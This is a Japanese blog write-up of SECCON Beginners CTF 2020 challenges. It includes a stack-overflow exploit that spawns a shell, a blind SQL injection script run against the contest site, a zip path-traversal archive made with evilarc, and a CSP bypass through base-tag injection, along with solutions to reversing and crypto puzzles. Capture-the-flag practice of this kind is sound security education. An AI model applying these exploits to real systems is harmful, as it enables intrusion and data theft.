LoginSignup
9
8

More than 3 years have passed since last update.

SECCON Beginners CTF 2020 Writeup

Last updated at Posted at 2020-05-24

チームnicklegrで個人参加。

1263点で81位でした。
(1009チーム中。Welcome以外を解いたのは691チーム)

コメント 2020-05-24 151815.png

コメント 2020-05-24 151425.png

コメント 2020-05-24 151857.png

Pwn

Beginner's Stack

$ ./chall 
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff19bbcd90 | 0x0000000000400b60 | <-- buf
                   +--------------------+
0x00007fff19bbcd98 | 0x00007ffdbbb3f9d0 |
                   +--------------------+
0x00007fff19bbcda0 | 0x00007ffdbbd45740 |
                   +--------------------+
0x00007fff19bbcda8 | 0x00007ffdbbd681c8 |
                   +--------------------+
0x00007fff19bbcdb0 | 0x00007fff19bbcdc0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff19bbcdb8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff19bbcdc0 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007fff19bbcdc8 | 0x00007ffdbb7a0f45 | <-- return address (main)
                   +--------------------+
0x00007fff19bbcdd0 | 0x00007fff19bbcea8 |
                   +--------------------+
0x00007fff19bbcdd8 | 0x00007fff19bbcea8 |
                   +--------------------+

Input:

めちゃくちゃ親切。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

これで試すと

require "pp"
require_relative "pwnlib"

def p64(a)
  [a].pack("Q<")
end

def u64(a)
  a.unpack("Q<")[0]
end

addr_win = 0x400861

payload = "A" * (0x00007fff19bbcdb8 - 0x00007fff19bbcd90) + p64(addr_win)

PwnTube.open("bs.quals.beginners.seccon.jp", 9001) do |t|
  # t.debug = true

  t.recv_until("Input: ")
  t.send(payload)
  t.recv_until("Congratulations!\n")

  t.shell
end
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

もはやチュートリアル。

win関数の先頭が

                     win:
0000000000400861         push       rbp

なので、ここをスキップすればスタックが8バイトずれるはず。

addr_win = 0x400861
addr_win += 1 # skip "push"

通った。

$ ruby main.rb 
[*] connected
[*] waiting for shell...
[*] interactive mode
ls -l
total 24
-r-xr-x--- 1 root pwn 12912 May 19 11:27 chall
-r--r----- 1 root pwn    34 May 19 11:27 flag.txt
-r-xr-x--- 1 root pwn    37 May 19 11:27 redir.sh
cat redir.sh
#! /bin/bash
cd /home/pwn && ./chall
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
[*] end interactive mode
[*] connection closed
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Crypto

R&B

rot13とbase64を交互にやっている。問題名いいセンス。
最初の一文字にどっちを行ったか親切に書いてあるので、やるだけ。
rot13でアルファベット以外は変換しないように注意。

require "base64"

enc = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

def inv_rot13(str)
  plain  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" # 0123456789
  cipher = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm" # 3456789012

  ret = ""
  str.each_char do |c|
    i = cipher.index(c)
    ret += plain[i] if i
    ret += c if !i
    # ret += (c.ord - 13).chr
  end

  ret
end

loop do
  if enc[0] == "B"
    enc = Base64.decode64(enc[1 .. -1])
    puts enc
  elsif enc[0] == "R"
    enc = inv_rot13(enc[1 .. -1])
    puts enc
  else
    break
  end
end
ctf4b{rot_base_rot_base_rot_base_base}

Web

Spy

ログイン画面が出てくる。
サービスに存在するユーザ名を列挙して正解するとフラグ。

コメント 2020-05-24 115326.png

こういうコードで、ユーザー名が正しいとパスワードチェックに進むが、ハッシュ計算がとても重いらしい。

exists, account = db.get_account(name)

if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

親切に実行時間を表示してくれる。はっきり差が出てる。

image.png

image.png

手作業で全員試せばOK。正解は以下のユーザー。

Elbert
George
Lazarus
Marc
Tony
Ximena
Yvonne
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore

ツイートを検索するサービス。

コメント 2020-05-23 184046.png

DBはpostgres。DBのユーザー名(current_user)を取れればいい。

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

whereとlimitにSQL injectionできる。前者は', 後者は;が使えない。

search, ok := r.URL.Query()["search"]
if ok {
  sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

sql += " order by tweeted_at desc"

limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
  sql += " limit " + strings.Split(limit[0], ";")[0]
}

pg_sleep()でTime-based SQL injectionかなぁと思ったけど、limitの後にoffsetを入れれば出力が操作できる。普通のBlind SQL injectionだ。

ユーザー名の最初はctf4b{だろうから、下記を試して確認。

1 offset (select case when substr(current_user,1,1) = 'c' then 1 else 2 end)
  => すべての講義が終了し、CTF演習が始まりました!...

1 offset (select case when substr(current_user,1,1) = 'd' then 1 else 2 end)
  => 3つめの講義はReversingです。

自動化。日本語はめんどくさいのでツイートの投稿時刻で判定。
ubuntu 16.04やWSLだとSSL周りでエラーになる。地味に手こずった。
手持ちのConohaのインスタンスが18.04だったのでそこで動かしたら通った。

# require "http"

require "open-uri"

def query(url)
  body = open(url).read
  true_str = body.include?("2019-10-26 07:00:52")
  false_str = body.include?("2019-10-26 05:44:32")
  raise if !true_str && !false_str

  true_str
end

cand = %w|{ } _ ?| + ("0".."9").to_a + ("a".."z").to_a + ("A".."Z").to_a
ans = ""
index = 1
loop do
  found = false
  cand.each do |e|
    url = "https://tweetstore.quals.beginners.seccon.jp/?search=&limit=1 offset (select case when substr(current_user,#{index},1) = '#{e}' then 1 else 2 end)"
    if query(url)
      ans += e
      index += 1
      found = true
      puts ans
      break
    end
    sleep(0.5)
  end
  raise if !found
end

ctf4b{is_postgres_your_friend?}

unzip

zipをアップロードすると展開してくれるサービス。

コメント 2020-05-23 213751.png

phpだしzipだしpath traversalでしょう(雑)

$user_dir = "/uploads/" . session_id();
...
$zip->extractTo($user_dir);
volumes:
  - ./public:/var/www/web
  - ./uploads:/uploads
  - ./flag.txt:/flag.txt

なので、../../flag.txtを読めればいい。

$zip->extractTo()に脆弱性はないらしい
https://hackerone.com/reports/205481

It should be noted that the built-in PHP ZipArchive extractTo method is not vulnerable to this path traversal.

ただ、ファイル作成はできなくても読み出しができればいい。実際できる。

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

このツールで怪しいzipが作れそう
https://github.com/ptoomey3/evilarc

% python evilarc.py --help
Usage: evilarc <input file>

Create archive containing a file with directory traversal

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -f OUT, --output-file=OUT
                        File to output archive to.  Archive type is based off
                        of file extension.  Supported extensions are zip, jar,
                        tar, tar.bz2, tar.gz, and tgz.  Defaults to evil.zip.
  -d DEPTH, --depth=DEPTH
                        Number directories to traverse. Defaults to 8.
  -o PLATFORM, --os=PLATFORM
                        OS platform for archive (win|unix). Defaults to win.
  -p PATH, --path=PATH  Path to include in filename after traversal.  Ex:
                        WINDOWS\System32\

% python evilarc.py flag.txt -d 2 -o unix
Creating evil.zip containing ../../flag.txt

これをアップロードすればflag.txtが読める。

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

Somen

解けなかった。

そうめんをレコメンドしてくれるサービス。

コメント 2020-05-24 120809.png

管理者がHeadless Chromeさんで、そのCookieを盗めればいい。

worker.js
// initialize
const browser = await puppeteer.launch({
  ...
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

security.jsというのがいて、変なユーザー名を入れるとこれに引っかかる。

index.php
<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>
...
<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>
    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
security.js
console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

base-uriが指定されていないので、ユーザー名に下記を入れるとsecurity.jsを回避できる。

</title><base href="http://example.com/" />

CSP Evaluator便利ー。

image.png

ここからが本番なんだけど、nonce, sha256を回避してスクリプトを実行する方法がわからず。

Reversing

mask

下記の条件を満たす入力を探す。

  • 各文字に0x75でマスクをかけて、結果がatd4`qdedtUpetepqeUdaaeUeaqauになる
  • 各文字に0xebでマスクをかけて、結果がc`b bk`kj`KbababcaKbacaKiackiになる

総当たり。

mask_a = "atd4`qdedtUpetepqeUdaaeUeaqau"
mask_b = "c`b bk`kj`KbababcaKbacaKiacki"

cand = ("!".."~")

ans = ""
for i in 0 ... mask_a.size
  found = true
  cand.each do |e|
    if mask_a[i].ord == (e.ord & 0x75) &&
      mask_b[i].ord == (e.ord & 0xeb)
      ans += e
      found = true
      break
    end
  end
  raise if !found
end

puts ans

コロナ対策ばっちりなフラグが出てくる。

ctf4b{dont_reverse_face_mask}

yakisoba

Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)

スパゲッティコードならぬ焼きそばコード。分岐とジャンプだらけ。
Reversingの自動化といえばangr。非線形な処理はなさそうなので多分いける。

import angr
import claripy

p = angr.Project('./yakisoba', load_options={'auto_load_libs': False})

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(26)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])

state = p.factory.full_init_state(
    args=['./yakisoba'],
    add_options={angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY} | {angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS},
    stdin=flag,
)

for k in flag_chars:
    state.solver.add(k != 0)
    state.solver.add(k != 10)

simgr = p.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1))

found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))

最初文字数を27文字にしてヒットしなかったけど、26文字にしたらいけた。

(angr) $ time python3 main.py
WARNING | 2020-05-23 17:37:06,801 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\n'

real  0m21.113s
user  0m20.564s
sys 0m0.361s
ctf4b{sp4gh3tt1_r1pp3r1n0}

siblangs

フラグを検証してくれるアプリ。apkファイル。

実機で実行してみる。無茶をおっしゃる。

AVW-lEIm.jpg

中身のファイルを見ると、libreactnativeblob.soとかがある。React Native?

assets/index.android.bundleの中身がただのjsっぽいので、
VSCodeで開いてFormat Document。flagで検索するとなんかあった。
これを逆算するとフラグの前半が出てくる。

((t = y.call.apply(y, [this].concat(n))).state = {
  flagVal: "ctf4b{",
  xored: [ 34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27 ]
}),
(t.handleFlagChange = function(o) {
  t.setState({ flagVal: o });
}),
(t.onPressValidateFirstHalf = function() {
  if ("ios" === h.Platform.OS) {
    for (
      var o = "AKeyFor" + h.Platform.OS + "10.3",
        l = t.state.flagVal,
        n = 0;
      n < t.state.xored.length;
      n++
    )
      if (
        t.state.xored[n] !==
        parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)
      )
        return void h.Alert.alert(
          "Validation A Failed",
          "Try again..."
        );
    h.Alert.alert(
      "Validation A Succeeded",
      "Great! Have you checked the other one?"
    );
  } else
    h.Alert.alert(
      "Sorry!",
      "Run this app on iOS to validate! Or you can try the other one :)"
    );
}),

後半はネイティブモジュールで検証してる。dexをデコンパイルするとこんなのが出てくる。

ValidateFlagModule.java
@ReactMethod
public void validate(String str, Callback callback) {
    byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30};
    try {
        Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
        instance.init(2, this.secretKey, new GCMParameterSpec(128, bArr, 0, 12));
        byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12);
        byte[] bytes = str.getBytes();
        for (int i = 0; i < doFinal.length; i++) {
            if (bytes[i + 22] != doFinal[i]) {
                callback.invoke(Boolean.valueOf(false));
                return;
            }
        }
        callback.invoke(Boolean.valueOf(true));
    } catch (Exception unused) {
        callback.invoke(Boolean.valueOf(false));
    }
}

合わせると、

require "openssl"

xored = [
  34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27
]

key = "AKeyForios10.3"
ans = ""
xored.each_with_index do |e, i|
  ans += (e ^ key[i % key.size].ord).chr
end

puts ans
# => ctf4b{jav4_and_j4va5cr

iv = [ 95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60 ].pack("c*")
plain = [ 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30 ].pack("c*")

cipher = OpenSSL::Cipher::AES.new(128, :GCM).encrypt
cipher.key = "IncrediblySecure"
cipher.iv = iv
cipher.auth_data = "hoge"

encrypted = cipher.update(plain) + cipher.final

pp encrypted
# => "1pt_3verywhere}\x1E\xAF}\xBF!\x029\x06\x84\xDD\xA9\x8B\x12w\xE4\x8A"

スマホだとJavaはeverywhereじゃないけども。

ctf4b{jav4_and_j4va5cr1pt_3verywhere}

Misc

Welcome

運営と連絡が取れるDiscordサーバに入るとフラグがある。
去年もこうだったけど、この誘導とても賢いと思う。

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

草。

emoemoencode

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

uuencodeっぽい問題名だから、ビット列の一部を切り出してASCIIに変換する感じ?

  • UTF-8のコードポイントで見ると最小値は127792。それと差を取ってみる
  • 最初の文字はc(ASCIIで99)だろうからそれと差を取ってみる

とかやってたら出てきた。

# coding: utf-8

enc = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"
puts enc.size

"ctf4b{}".each_char do |e|
  puts e.ord
end

ans = ""
enc.each_char do |e|
  puts "#{e.ord} #{e.ord.to_s(16)} #{e.ord - 127792} #{e.ord - 127792 + (99 - 51)} #{(e.ord - 127792 + (99 - 51)).chr}"
  ans += (e.ord - 127792 + (99 - 51)).chr
end

puts ans
34
99
116
102
52
98
123
125
127843 1f363 51 99 c
127860 1f374 68 116 t
127846 1f366 54 102 f
127796 1f334 4 52 4
127842 1f362 50 98 b
127867 1f37b 75 123 {
127859 1f373 67 115 s
127860 1f374 68 116 t
127845 1f365 53 101 e
127847 1f367 55 103 g
127841 1f361 49 97 a
127854 1f36e 62 110 n
127792 1f330 0 48 0
127847 1f367 55 103 g
127858 1f372 66 114 r
127841 1f361 49 97 a
127856 1f370 64 112 p
127848 1f368 56 104 h
127865 1f379 73 121 y
127839 1f35f 47 95 _
127842 1f362 50 98 b
127865 1f379 73 121 y
127839 1f35f 47 95 _
127845 1f365 53 101 e
127853 1f36d 61 109 m
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127792 1f330 0 48 0
127850 1f36a 58 106 j
127849 1f369 57 105 i
127869 1f37d 77 125 }
ctf4b{stegan0graphy_by_em000000ji}
ctf4b{stegan0graphy_by_em000000ji}

作問者・運営の方のWriteup

みなさんのWriteup

9
8
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
9
8